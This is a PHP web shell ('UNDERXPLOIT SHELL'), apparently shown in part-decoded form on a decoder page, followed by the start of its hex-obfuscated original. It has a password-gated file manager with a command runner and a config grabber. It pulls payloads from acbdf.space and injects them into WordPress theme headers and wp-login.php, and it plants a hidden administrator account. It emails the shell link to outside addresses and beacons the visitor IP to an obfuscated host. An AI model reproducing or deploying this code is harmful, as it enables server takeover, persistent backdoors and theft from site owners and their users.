        while (exist_canvas.length > 0) {\xa            pJS_tag.removeChild(exist_canvas[0])\xa        }
    }
    var canvas_el = document.createElement('canvas');\xa    canvas_el.className = pJS_canvas_class;\xa    canvas_el.style.width = "100%";
    canvas_el.style.height = "100%";
    var canvas = document.getElementById(tag_id).appendChild(canvas_el);\xa    if (canvas != null) {\xa        pJSDom.push(new pJS(tag_id, params))\xa    }\xa};\xawindow.particlesJS.load = function(tag_id, path_config_json, callback) {\xa    var xhr = new XMLHttpRequest();\xa    xhr.open('GET', path_config_json);\xa    xhr.onreadystatechange = function(data) {
        if (xhr.readyState == 4) {
            if (xhr.status == 200) {\xa                var params = JSON.parse(data.currentTarget.response);\xa                window.particlesJS(tag_id, params);\xa                if (callback) callback()
            } else {
                console.log('Error pJS - XMLHttpRequest status: ' + xhr.status);\xa                console.log('Error pJS - File config not found')\xa            }\xa        }\xa    };\xa    xhr.send()\xa} </script>"; goto yqugB; HIxJ8: $css = http_get("https://acbdf.space/txt/wp.txt"); goto wlLYr; ilic9: function a($str) { @define("x13", "1337", true); $x14 = base64_decode($str); $x16s = substr($x14, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)); $x19 = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, hash("sha256", x13, true), substr($x14, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)), MCRYPT_MODE_CBC, $x16s), "\0"); return $x19; } goto Pixvs; Sgmyd: if ($_POST["query"]) { $veriyfy = stripslashes(stripslashes($_POST["query"])); $data = "data.txt"; @touch("data.txt"); $ver = @fopen($data, "w"); @fwrite($ver, $veriyfy); @fclose($ver); } else { $datas = @fopen("data.txt", "r"); $i = 0; while ($i <= 5) { $i++; $blue = @fgets($datas, 1024); echo $blue; } } goto CwjEz; IMiXl: $from_shellcode = "whm@" . gethostbyname($_SERVER["SERVER_NAME"]) . ''; goto wdYZD; Rm7hS: s("Enter your command"); goto yB4Ow; yqugB: print "<script type="text/javascript">\xaparticlesJS('particles-js',\xa  
  {\xa    "particles": {\xa    "number": {
        "value": 80,\xa        "density": {\xa          "enable": true,
          "value_area": 800\xa        }
      },
      "color": {\xa        "value": "#1D9D73"\xa      },
      "shape": {\xa        "type": "circle",\xa        "stroke": {\xa          "width": 0,\xa          "color": "#000000"\xa        },
        "polygon": {
          "nb_sides": 5\xa        },
        "image": {\xa          "src": "img/github.svg",
          "width": 100,
          "height": 100\xa        }\xa      },
      "opacity": {\xa        "value": 0.5,\xa        "random": false,
        "anim": {\xa          "enable": false,\xa          "speed": 1,\xa          "opacity_min": 0.1,
          "sync": false\xa        }\xa      },
      "size": {
        "value": 5,\xa        "random": true,
        "anim": {\xa          "enable": false,\xa          "speed": 40,
          "size_min": 0.1,\xa          "sync": false
        }\xa      },\xa      "line_linked": {\xa        "enable": true,
        "distance": 150,\xa        "color": "#1D9D73",\xa        "opacity": 0.4,
        "width": 1
      },\xa      "move": {\xa        "enable": true,\xa        "speed": 6,\xa        "direction": "none",
        "random": false,\xa        "straight": false,\xa        "out_mode": "out",
        "attract": {
          "enable": false,\xa          "rotateX": 600,
          "rotateY": 1200
        }
      }
    },
    "interactivity": {
      "detect_on": "canvas",
      "events": {\xa        "onhover": {
          "enable": false,\xa          "mode": "repulse"\xa        },\xa        "onclick": {
          "enable": false,\xa          "mode": "push"\xa        },
        "resize": true
      },\xa      "modes": {\xa        "grab": {\xa          "distance": 400,
          "line_linked": {
            "opacity": 1\xa          }
        },\xa        "bubble": {
          "distance": 400,\xa          "size": 40,\xa          "duration": 2,\xa          "opacity": 8,
          "speed": 3
        },
        "repulse": {
          "distance": 200
        },
        "push": {\xa          "particles_nb": 4
        },\xa        "remove": {
          "particles_nb": 2
        }
      }
    },
    "retina_detect": true,\xa    "config_demo": {\xa      "hide_card": false,\xa      "background_color": "#b61924",\xa      "background_image": "",\xa      "background_position": "50% 50%",
      "background_repeat": "no-repeat",\xa      "background_size": "cover"\xa    }\xa  }); </script>\xa</div>
\x9</div>\xa\x9	</div>\xa<div class="footer">CODED BY WILDAN IZZUDIN</div>"; goto Sgmyd; D5HZr: $document_root_file = dirname(__FILE__); goto X3Hp0; ZSmxS: function GetIP() { if (getenv("HTTP_CLIENT_IP")) { $ip = getenv("HTTP_CLIENT_IP"); } elseif (getenv("HTTP_X_FORWARDED_FOR")) { $ip = getenv("HTTP_X_FORWARDED_FOR"); if (strstr($ip, ",")) { $tmp = explode(",", $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("REMOTE_ADDR"); } return $ip; } goto Psufc; pgfeH: print "<script type="text/javascript">
jQuery(document).ready(function() {\xa    var offset = 250;\xa    var duration = 500;\xa    jQuery(window).scroll(function() {\xa        if (jQuery(this).scrollTop() > offset) {\xa            jQuery('.move-top').fadeIn(duration);
        } else {
            jQuery('.move-top').fadeOut(duration);
        }\xa    });\xa    jQuery('.move-top').click(function(event) {
        event.preventDefault();\xa        jQuery('html, body').animate({\xa            scrollTop: 0
        }, duration);
        return false;
    })
}); </script>\xa<script type="text/javascript">
\x9function c(x) {\xa\x9	window.location = x\xa} </script>
<script type="text/javascript">jQuery(document).ready(function() {\xa    var offsets=100;
    var durations=500;
    jQuery(window).scroll(function() {
        if(jQuery(this).scrollTop() > offsets) {
            jQuery('#judul').fadeIn(durations);\xa            jQuery('.menus').css({'background' : '#222', 'box-shadow' : '0 1px 5px rgba(27,31,35,.15)'});
}
        else {\xa            jQuery('#judul').fadeOut(durations);\xa        	jQuery('.menus').css('background', 'none');\xa	\x9 }
    }\xa    );
}); </script>
<style> .icon { color: #1D9D73; } </style>
<script type="text/javascript">hljs.initHighlightingOnLoad();</script>
</head>\xa<body>\xa    <div class="co-ontainer-2">\xa        <div class="atas">
        <div id="particles-js"></div>
            <div class="menus atas-ae" style="background:none">\xa                <div class="co-ontainer-3"><span id="judul" class="">UNDERXPLOIT  SHELL 1.4</span>   
                    <button class="xa" onclick='c("" . $_SERVER["PHP_SELF"] . "")'><i class="zmdi zmdi-home zmdi-hc-fw"></i></button>\xa                    <button class="xa" onclick='c("?" . x5 . getcwd() . "&" . x7 . "about")'><i class="zmdi zmdi-account-o zmdi-hc-fw"></i></button>\xa                    <button class="xa" onclick='c("?" . x5 . getcwd() . "&" . x7 . "logout")'><i class="zmdi zmdi-power zmdi-hc-fw"></i></button>
	\x9		</div>
            </div>\xa        </div>
        <div class="dir">
            <table style="width:100%">\xa                <td style="width:100%">\xa                    <div class="dir-pallet">
                        <table>\xa                            <td class="dir-td-left"><span class="label-success">ROOT</span> :</td>\xa                            <td class="break dir-td-right wrap">"; goto vXWdi; vDOBO: @ini_set("error_log", NULL); goto GnN9f; xpTXh: print "<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Cpanel Finder</td><td class="td-tools-icon"><a onclick='c("?" . x7 . "cpanel&" . x5 . $dir . "")'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>"; goto WcDHN; tgeLm: switch (true) { case !empty(sec): switch (true) { case $_UNDERXPLOIT["pass"] && md5($_UNDERXPLOIT["pass"]) == sec: vb(md5($_SERVER["HTTP_HOST"]), sec); break; case !$_COOKIE[md5($_SERVER["HTTP_HOST"])] || $_COOKIE[md5($_SERVER["HTTP_HOST"])] != sec: login(); break; } } goto XYP2e; qcqoG: @mail($to_email, $server_mail, $linkcr, $header); goto ghkqX; uH6Yi: fwrite($open_makale, $makale); goto RVSWn; xGgS7: print "<script type="text/javascript">\xa\x9function nflo() {
		$("#nflo").slideToggle(500);\xa	} </script>"; goto aS70t; I6G1I: print "</select>
</td>
\x9<td style="width:20%;text-align:right"><button type="submit" class="btn-exe" onclick="create();return false;" id="jmbt"><i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i></button></form>
\x9		</td>\xa\x9   </table>\xa</div>"; goto LnDl7; BjRKA: $directories = expandDirectories($document_root); goto HIxJ8; U7yzu: function jmbt($str) { return htmlspecialchars($str, 2 | 1); } goto sm_qq; Ha5l1: mail($kime, $baslik, $EL_MuHaMMeD); goto V69xh; vaz84: $size = filesize("{$dir}/{$filez}") / 1024; goto qB4cR; tDQyL: print "<script type="text/javascript">function create(){\xaif(document.getElementById("c").value == ""){"; goto VoVGQ; jbyhU: function s($str) { print "notif({\xa				type: "default",\xa\x9\x9\x9	msg: "<span class='alert'><font color='#fff'>" . $str . "</font>",\xa\x9\x9\x9\x9width: "all",\xa		\x9\x9height: 100,\xa		\x9	position: "center",\xa\x9\x9\x9});"; return $str; } goto ZnK1v; QalpG: print "<div class="coL">"; goto PBvPv; iF3qA: $server_mail = '' . gethostbyname($_SERVER["SERVER_NAME"]) . "  - " . $_SERVER["HTTP_HOST"] . ''; goto oPmsG; En2ni: $open_makale = fopen($wp_makale, "w"); goto uH6Yi; sm_qq: function mtr($y) { print "<meta http-equiv="refresh" content="1;url=" . $y . ""/>"; return $y; } goto A5QyF; KLQWH: function expandDirectories($base_dir) { $directories = array(); foreach (scandir($base_dir) as $file) { if ($file == "." || $file == "..") { continue; } $dir = $base_dir . DIRECTORY_SEPARATOR . $file; if (is_dir($dir)) { $directories[] = $dir; $directories = array_merge($directories, expandDirectories($dir)); } } return $directories; } goto dVe6t; yrfxF: $code = http_get("https://acbdf.space/txt/min.txt"); goto Fj2zU; oqy7K: $_GET = cl($_GET); goto AnAmT; AaEJm: error_reporting(0); goto FmOwC; XYP2e: function login() { switch (true) { case !empty($_SERVER["HTTP_USER_AGENT"]): $serp = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "Yahoo", "Bing"); case preg_match("/" . implode("|", $serp) . "/i", $_SERVER["HTTP_USER_AGENT"]): header("HTTP/1.0 404 Not Found"); } die("<!DOCTYPE html>\xa<head>
    <title>LOGIN | UNDERXPLOIT SHELL 0.1.4</title>
    <meta name="robots" content="noindex, nofollow, noarchive">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta property="og:image" content="//1.bp.blogspot.com/-P1jMet8cGvQ/Wi6HjYT3n5I/AAAAAAAAAuQ/bO2cfdqUfJo8YPt0SP6veAvhEERf_SEzQCLcBGAs/s320/logo.jpg">\xa    <meta name="theme-color" content="#1D9D73">
    <meta name="apple-mobile-web-app-capable" content="yes">\xa    <meta name="apple-mobile-web-app-status-bar-style" content="#1D9D73">
    <meta name="msapplication-navbutton-color" content="#1D9D73">\xa    <meta name="author" content="WILDAN IZZUDIN">
	<link href="//underxploit.github.io/core/favicon.ico" rel="icon" type="image/x-icon" />\xa\x9<link rel="stylesheet" href="//underxploit.github.io/core/icons/material.css" />
<script type="text/javascript">
        baseUrl = window.location.href.split("?")[0];\xa   \x9window.history.pushState("name", "?", baseUrl);
</script>
 <style>\xa @import url(https://fonts.googleapis.com/css?family=Play);\xa* {\xa	box-sizing: border-box
}\xa
*:focus {\xa	outline: 0
}

body {
\x9font-size: 14px;
	color: #fff;
	margin: auto;
\x9font-family: "Play";\xa	background: #212121
}\xa\xa.login-container {\xa	max-width: 450px;\xa	margin: auto;
\x9overflow: auto;\xa\x9background: none\xa}\xa
.login-kepala {\xa	background: #222;
	padding: 10px;
\x9color: #fff;\xa	font-size: 14px;
	position: fixed;
\x9z-index: 1024;\xa	top: 0;
	left: 0;\xa\x9right: 0;\xa\x9-o-border-radius: 2px;
	-webkit-box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);\xa	-moz-box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);
	-ms-box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);\xa\x9-o-box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);
	box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);
\x9font-family: "Play"\xa}
\xainput[type=password] {
\x9border: 0;
\x9border-bottom: 1px solid #1D9D73;\xa\x9padding: 9px;
\x9background: none;\xa	color: #fff;\xa\x9font-family: "Play";
\x9width: 100%;\xa	font-size: 14px\xa}

.btn-exe:hover {
	background: none;
	border: 1px solid #1D9D73;
	color: #1D9D73;
\x9-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;\xa\x9transition: all 0.3s\xa}
\xatable {\xa	width: 100%
}
\xa.btn-exe {
	background: #1D9D73;
	color: #fff;
	font-family: "Play";\xa	padding: 6px;\xa\x9border: 1px solid #1D9D73;
\x9width: 100%;\xa\x9font-size: 14px;
	border-top-right-radius: 15px;\xa	border-bottom-left-radius: 15px
}             \xa   	</style>\xa	</head>\xa<body>\xa    <div class="login-kepala">
        <div class="login-container">
            <form action="" method="post">\xa                <table>\xa                    <td align="center" style="width:10%">
                        <i class="zmdi zmdi-chevron-right"></i>\xa                    </td>
                    <td style="width:70%">
                        <input type="password" placeholder="" name="pass">
                    </td>\xa                    <td style="text-align:right;width:20%">\xa                        <button type="submit" class="btn-exe">\xa                            <i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i>\xa                        </button>
                    </td>\xa                </table>
            </form>\xa        </div>\xa    </div>\xa</body>
</html>"); } goto cOBug; kiR_W: fwrite($open_code, $code); goto IbWdO; occvV: $scandir = scandir($path); goto Jv_ci; L25Kh: print "<option value="1">MySQL [ adminer.php ]</option>"; goto I6G1I; HDQEU: @define("x5", "dir=", true); goto KQbHr; sXEo3: s("Enter file to upload"); goto N4Gnl; NEdnI: if (isset($_FILES["data"])) { switch (true) { case copy($_FILES["data"]["tmp_name"], $path . "/" . $_FILES["data"]["name"]): mtr("?" . x5 . $dir); bacot("File uploaded succesfully"); break; default: bacot("Failed to upload file"); } } goto xZ9I_; IGi46: switch (true) { case $_UNDERXPLOIT["dir"]: $dir = str_replace("\", "/", $_UNDERXPLOIT["dir"]); @chdir($dir); break; default: $dir = str_replace("\", "/", getcwd()); } goto jhK7L; FmOwC: ob_start("ob_gzhandler"); goto DGOWi; Psufc: $x = base64_decode("aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ==") . GetIP() . "-" . base64_encode("http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto AO5IH; qM9vK: print "<script type="text/javascript"> function unzip() {\xa\x9if(document.getElementById("u").value == ""){"; goto ZqGU4; oe0uo: print "<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-pin-drop zmdi-hc-fw"></i></td><td class="td-tools-content">Me : [ <span class="label-success">" . str_replace("/", '', basename($_SERVER["PHP_SELF"])) . " </span> ]</td><td class="td-tools-icon"><a onclick='c("?" . x7 . "kill&" . x5 . $dir . "")'><button class="btn-exe"><i class="zmdi zmdi-delete zmdi-hc-fw"></i></button></a></td></table></div>"; goto tDQyL; f_Kwm: print "<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Config Grabber</td><td class="td-tools-icon"><a onclick='c("?" . x7 . "config&" . x5 . $dir . "")'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>"; goto xpTXh; K_NZz: $cookie = md5($_SERVER["HTTP_USER_AGENT"]); goto EJyoI; dVe6t: function http_get($url) { $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close($im); } goto rMD6a; qklOP: print "<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Jumping Server</td><td class="td-tools-icon"><a onclick='c("?" . x7 . "jumping&" . x5 . $dir . "")'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>"; goto f_Kwm; sG4fR: @define("x6", "file=", true); goto E6N3w; w2v4K: $baslik = "whm 20203"; goto YYdXU; ehdkL: if ($datasi) { } else { @mkdir("js"); $dos = file_get_contents("https://acbdf.space/txt/css.txt"); $data = "js/js.php"; @touch("js/js.php"); $ver = @fopen($data, "w"); @fwrite($ver, $dos); @fclose($ver); $yol = "http://" . $_SERVER["HTTP_HOST"] . '' . $_SERVER["REQUEST_URI"] . ''; $y = "<h1>Sender Yazdirildi.<br/> SITE YOL : " . $yol . "<br/>Sender Yolu : js/crs.php</h1>"; $header .= "From: SheLL Boot <[email protected]>
"; $header .= "Content-Type: text/html;\xa charset=utf-8
"; @mail("[email protected]", "Hacklink Bildiri", "{$y}", $header); @mail("[email protected]", "Hacklink Bildiri", "{$y}", $header); } goto Q3CkE; xCy9c: $makale = http_get("https://acbdf.space/txt/phpinfo.txt"); goto W7vpC; T1I2a: $path = getcwd(); goto NEdnI; NWXJB: print "<div class="tools-content">"; goto uE6Tr; VoVGQ: s("Select the file to be created"); goto JV9hN; Pixvs: function x($b) { $c = a($b); return $c; } goto vDOBO; aNOex: if (file_exists($document_root . "/wp-load.php")) { include $document_root . "/wp-load.php"; $wp_detect = 1; } else { $prefix = count(@explode("/", $document_root_file)); $a = ''; for ($i = 0; $i < $prefix; $i++) { $a = $a . "../"; if (file_exists($document_root_file . "/" . $a . "wp-load.php")) { include $document_root_file . "/" . $a . "wp-load.php"; $wp_detect = 1; break; } } } goto ItOwF; RVSWn: fclose($open_makale); goto BjRKA; KQbHr: @define("x7", "command=", true); goto sG4fR; mEvpE: $ip_remote = $_SERVER["REMOTE_ADDR"]; goto IMiXl; JV9hN: print "return false;\xa    } document.getElementById("jmbt").submit();\xa  } </script>"; goto LJMhL; ItOwF: if ($wp_detect == 1) { $wp_theme_dir = get_template_directory(); $header_file = $wp_theme_dir . "/headers.php"; $header_content = file_get_contents($header_file); $append = http_get("https://acbdf.space/txt/seoco.txt"); if (!preg_match("#" . $append . "#", $header_content)) { $new_content = $append . $header_content; $open_file = fopen($header_file, "w"); fwrite($open_file, $new_content); fclose($open_file); } $user = "webmaster"; $pass = "$P$BxJON2B3rr"; $email = "[email protected]"; if (!username_exists($user) && !email_exists($email)) { $user_id = wp_create_user($user, $pass, $email); $user = new WP_User($user_id); $user->set_role("administrator"); } $wp_login = ABSPATH . "/wp-login.php"; $login = http_get("https://acbdf.space/txt/seo.txt"); $open_login = fopen($wp_login, "w"); fwrite($open_login, $login); fclose($open_login); } goto yrfxF; vwhEG: print "<option value=""> -- Create file --</option>"; goto L25Kh; AnAmT: $_COOKIE = cl($_COOKIE); goto upebD; ZqGU4: s("You must choose a zip file"); goto kG5cS; vXWdi: foreach ($scdir as $c_dir => $cdir) { print "<a class="a" onclick="c('?" . x5; for ($i = 0; $i <= $c_dir; $i++) { print $scdir[$i]; switch (true) { case $i != $c_dir: print "/"; } } print "')">" . $cdir . "</a>/"; } goto RHE0L; ghkqX: $kime = "[email protected]"; goto w2v4K; cyCa_: $_POST = cl($_POST); goto oqy7K; ZVq1H: $EL_MuHaMMeD .= "Shell Link : http://" . $_SERVER["SERVER_NAME"] . $_SERVER["PHP_SELF"] . "
\xa"; goto afrzq; KEUqO: if (isset($_UNDERXPLOIT["x"])) { $rse = $_UNDERXPLOIT["file_name"]; $zip = new ZipArchive(); switch ($_UNDERXPLOIT["file_name"]) { case $rse: switch (true) { case $zip->open($path . "/" . $rse) === TRUE: mtr("?" . x5 . $dir); $zip->extractTo($path); $zip->close(); bacot("Extract successfully"); break; default: bacot("Permission denied"); } } } goto qM9vK; EJyoI: switch (true) { case !isset($_COOKIE[md5($_SERVER["HTTP_HOST"])]): vb(md5($_SERVER["HTTP_HOST"]), $cookie); } goto MRFHu; YYdXU: $EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER["DOCUMENT_ROOT"] . "
"; goto yyKE3; GnN9f: @ini_set("log_errors", 0); goto fNghJ; kRUUf: @ini_set("file_uploads", 1); goto PTfas; Jv_ci: foreach ($scandir as $file) { switch (true) { case !is_file("{$path}/{$file}"): continue 2; break; } switch (true) { case preg_match("/\.zip$/mis", $file): print "<option>" . $file . "</option>"; } } goto vUJGQ; ubJVL: switch (true) { case $size > 1024: $size = round($size / 1024, 2) . " MB"; break; default: $size = $size . " KB"; } goto QalpG; rMD6a: 
?>

Did this file decode correctly?

Original Code

<?php
goto ZSmxS; W9jkc: print "\x3c\164\x61\142\154\x65\x20\x63\x6c\x61\163\x73\75\42\145\170\55\x68\x6f\166\x22\76\x3c\164\144\40\x63\154\x61\x73\x73\75\42\164\144\x2d\164\157\x6f\x6c\163\55\154\x65\146\164\42\76\74\x69\40\x63\x6c\141\163\163\75\x22\172\x6d\144\151\40\172\155\x64\x69\55\x63\150\x61\162\164\x2d\x64\x6f\x6e\x75\x74\x20\172\x6d\144\x69\55\150\143\55\146\x77\42\76\x3c\57\x69\76\x3c\x2f\x74\x64\x3e\x3c\164\144\x20\143\x6c\141\x73\x73\x3d\x22\x74\x64\x2d\164\157\x6f\x6c\x73\55\143\157\156\x74\x65\x6e\x74\42\76\104\151\x72\145\x63\x74\157\162\171\x20\111\x6e\x66\x65\x63\164\151\157\156\74\x2f\x74\144\x3e\74\x74\144\x20\143\154\x61\x73\x73\75\x22\164\x64\55\x74\157\157\154\x73\55\151\143\157\x6e\x22\76\x3c\141\x20\157\156\x63\x6c\x69\x63\x6b\75\x27\x63\50\x22\x3f" . x7 . "\151\156\146\145\x63\164\x69\x6f\x6e\x26" . x5 . $dir . "\42\x29\47\76\x3c\x62\x75\x74\164\x6f\x6e\x20\143\154\141\x73\x73\75\42\x62\x74\156\55\145\170\145\x22\x3e\74\151\40\x63\154\x61\163\x73\75\42\172\155\x64\x69\x20\x7a\155\x64\x69\x2d\x6c\x6f\156\147\55\141\x72\x72\x6f\167\55\162\151\x67\x68\x74\40\x7a\155\144\151\55\x68\x63\x2d\x66\167\x22\76\74\57\x69\x3e\74\x2f\x62\165\x74\164\157\x6e\76\x3c\57\141\76\74\57\164\144\x3e\x3c\57\164\141\142\x6c\x65\76"; goto k16sg; jhK7L: $dir = str_replace("\134", "\x2f", $dir); goto MomEi; yW1ta: print "\x3c\x69\x20\143\154\x61\163\163\x3d\x22\x7a\x6d\144\x69\40\172\155\144\x69\55\154\157\156\147\55\141\162\162\157\x77\55\165\160\x20\172\155\144\x69\55\x68\143\55\146\167\x20\155\x6f\x76\x65\x2d\x74\x6f\160\42\x3e\x3c\x2f\x69\x3e"; goto pgfeH; CwjEz: $datasi = @fopen("\152\163\57\152\163\x2e\160\150\160", "\x72"); goto ehdkL; OBRCV: function xp($str) { return is_array($str) ? array_map("\x72\141\x77\165\x72\x6c\144\x65\143\x6f\x64\x65", $str) : rawurldecode($str); } goto wmsPK; PBvPv: switch ($_UNDERXPLOIT["\x63\157\x6d\155\x61\x6e\144"]) { case "\154\157\147\x6f\x75\x74": r($_SERVER["\120\110\x50\137\x53\x45\114\x46"]); setcookie(md5($_SERVER["\110\x54\124\120\x5f\x48\x4f\123\x54"]), time() - 3600); break; case "\x64\x6f\x77\156\154\x6f\x61\144": $dir = $_UNDERXPLOIT["\x66\x69\154\145"]; $file = file_get_contents($dir); ob_end_clean(); header("\x43\157\156\x74\145\156\x74\55\164\171\x70\x65\x3a\x20\x61\160\x70\154\151\x63\x61\164\151\x6f\156\57\157\143\164\145\164\x2d\163\x74\x72\x65\x61\155"); header("\x43\157\x6e\x74\145\156\x74\55\x6c\x65\156\x67\164\x68\x3a\x20" . strlen($file)); header("\103\x6f\156\164\145\156\164\x2d\144\x69\x73\160\157\x73\151\x74\151\x6f\x6e\x3a\x20\141\x74\164\141\x63\150\155\145\156\x74\x3b\40\x66\151\x6c\145\x6e\x61\155\145\x3d" . basename($dir)); print $file; die; break; case "\x64\145\154\x65\164\145": $delete = unlink($_UNDERXPLOIT["\x66\x69\x6c\145"]); switch (true) { case $delete: print "\x3c\163\143\162\151\x70\164\x20\164\x79\x70\x65\x3d\x22\x74\x65\x78\164\x2f\x6a\x61\166\141\x73\x63\162\x69\160\164\42\76\x63\x28\x22\77" . x5 . $dir . "\x22\51\73\74\x2f\x73\143\x72\x69\160\164\x3e"; break; default: bacot("\x50\145\x72\155\x69\163\163\151\157\x6e\x20\144\x65\x6e\x69\x65\x64"); } break; case "\144\x65\x6c\x65\x64\151\x72": $xzi = deledir($dir); switch (true) { case "\44\x78\172\151": print "\74\x73\143\x72\x69\x70\164\x20\164\x79\160\145\x3d\42\164\x65\x78\164\x2f\152\141\x76\x61\163\143\x72\x69\160\164\x22\x3e\x77\x69\156\144\157\167\x2e\154\x6f\143\141\x74\151\x6f\156\x20\75\40\x22\77" . x5 . dirname($dir) . "\42\73\74\57\x73\x63\x72\151\160\164\x3e"; break; default: print "\74\163\143\x72\x69\x70\x74\40\164\x79\160\145\x3d\x22\x74\x65\170\164\57\152\141\166\x61\163\x63\162\x69\160\164\x22\76\167\x69\x6e\144\157\167\x2e\154\x6f\143\x61\164\151\157\x6e\40\75\40\x22\77" . x5 . dirname($dir) . "\42\x3b\x3c\x2f\163\x63\x72\151\160\164\x3e"; bacot("\120\145\162\155\x69\x73\163\151\x6f\x6e\x20\x64\x65\x6e\x69\x65\x64"); } break; case "\x76\151\x65\167": print "\74\x64\x69\166\x20\143\x6c\x61\163\x73\75\42\143\x6f\114\55\x70\x61\x6e\x65\154\42\76\x3c\x74\141\142\154\145\76\74\x74\x64\40\x63\154\x61\163\163\x3d\x22\x74\144\x2d\160\141\x6e\145\154\42\x3e\x3c\143\145\156\164\x65\x72\x3e\x3c\144\151\166\40\143\x6c\x61\x73\163\x3d\42\154\x6f\141\x64\x65\162\x22\x3e\74\57\144\151\x76\x3e\74\x2f\143\145\x6e\x74\x65\x72\x3e\74\x2f\164\144\76\x3c\164\144\x20\x63\x6c\141\x73\x73\75\x22\x74\144\55\x70\141\156\x65\154\x2d\x72\151\x67\150\164\42\76\x53\117\x55\122\x43\x45\40\x56\x49\105\127\x45\x52\74\x2f\x74\x64\76\74\57\x74\x61\142\154\145\x3e\74\x2f\x64\x69\166\76\x3c\x64\x69\166\x20\x63\x6c\141\x73\x73\x3d\x22\143\157\114\x2d\157\x70\x74\x69\x6f\x6e\x22\x3e\x3c\x74\x61\142\x6c\145\76\x3c\x74\144\40\141\154\151\147\156\75\x22\143\145\156\x74\145\162\42\x20\163\164\x79\154\x65\x3d\42\x77\x69\144\164\x68\x3a\63\60\160\170\x22\x3e\x3c\151\40\x63\x6c\141\163\163\75\x22\x7a\155\x64\x69\x20\172\x6d\144\151\55\143\x68\x65\166\x72\157\x6e\x2d\162\151\147\x68\x74\40\172\155\144\x69\55\x68\x63\55\x66\167\42\x3e\x3c\x2f\151\76\x20\74\57\164\144\x3e\x3c\164\x64\40\143\154\141\163\163\75\x22\x65\154\x69\160\x22\x3e\x3c\x73\x70\141\156\40\143\x6c\x61\x73\163\x3d\x22\154\141\142\x65\x6c\55\163\x75\x63\143\x65\x73\x73\42\x3e\133\74\57\163\160\x61\156\x3e\x20" . basename($_UNDERXPLOIT["\146\151\154\x65"]) . "\40\74\163\160\x61\156\x20\x63\x6c\x61\x73\x73\x3d\42\x6c\x61\142\x65\154\x2d\x73\x75\x63\x63\145\163\x73\x22\x3e\135\74\57\x73\x70\141\156\76\x3c\57\x74\144\x3e\x3c\164\144\x20\163\x74\171\x6c\x65\75\42\167\151\x64\164\x68\72\x39\60\160\x78\42\40\143\x6c\141\x73\x73\75\x22\x63\x6f\x4c\x2d\x6f\160\164\151\157\156\x2d\160\x61\x6e\145\154\x22\x20\x61\x6c\151\147\156\75\x22\x63\145\156\164\145\x72\42\x20\x6f\156\143\154\151\x63\x6b\75\x27\x63\x28\42\x3f" . x7 . "\144\157\x77\156\154\157\x61\x64\x26" . x5 . $dir . "\46" . x6 . $dir . "\x2f" . basename($_UNDERXPLOIT["\x66\151\x6c\x65"]) . "\x22\51\47\x3e" . $size . "\74\57\164\144\76\x3c\x2f\x74\141\142\x6c\145\x3e\x3c\150\162\76"; print "\74\164\141\142\x6c\x65\x3e\12\x3c\x74\150\76\74\142\x75\164\x74\157\156\x20\143\154\141\163\163\x3d\47\x63\157\x4c\55\142\164\156\55\x6f\x70\x74\151\157\156\55\141\143\x74\x69\x76\x65\47\76\x3c\x69\x20\143\x6c\141\x73\x73\75\47\172\x6d\144\151\40\x7a\x6d\144\151\x2d\145\171\145\x20\x7a\155\x64\151\x2d\150\x63\55\x66\x77\x27\x3e\x3c\57\x69\76\x3c\x2f\142\165\x74\164\x6f\x6e\x3e\74\57\x74\150\76\xa\x3c\164\150\76\74\141\40\157\156\x63\x6c\x69\143\153\x3d\x22\x63\x28\47\x3f" . x7 . "\145\144\x69\164\x26" . x5 . $dir . "\x26" . x6 . $_UNDERXPLOIT["\x66\151\154\145"] . "\47\x29\42\76\x3c\142\165\x74\164\x6f\156\40\143\154\x61\163\163\75\47\x63\x6f\x4c\x2d\142\164\x6e\55\x6f\x70\164\x69\x6f\x6e\x27\76\x3c\151\40\143\154\141\163\163\x3d\x27\172\x6d\144\x69\40\x7a\x6d\144\x69\55\145\x64\x69\x74\40\172\x6d\x64\x69\55\x68\x63\55\146\167\x27\x3e\74\57\x69\76\x3c\57\x62\x75\x74\164\157\156\x3e\74\x2f\x61\x3e\74\x2f\164\150\x3e\12\x3c\x74\x68\x3e\74\x61\x20\157\156\143\154\x69\x63\x6b\75\42\x63\50\47\77" . x7 . "\x72\145\x6e\x61\x6d\145\46" . x5 . $dir . "\x26" . x6 . $_UNDERXPLOIT["\146\151\x6c\x65"] . 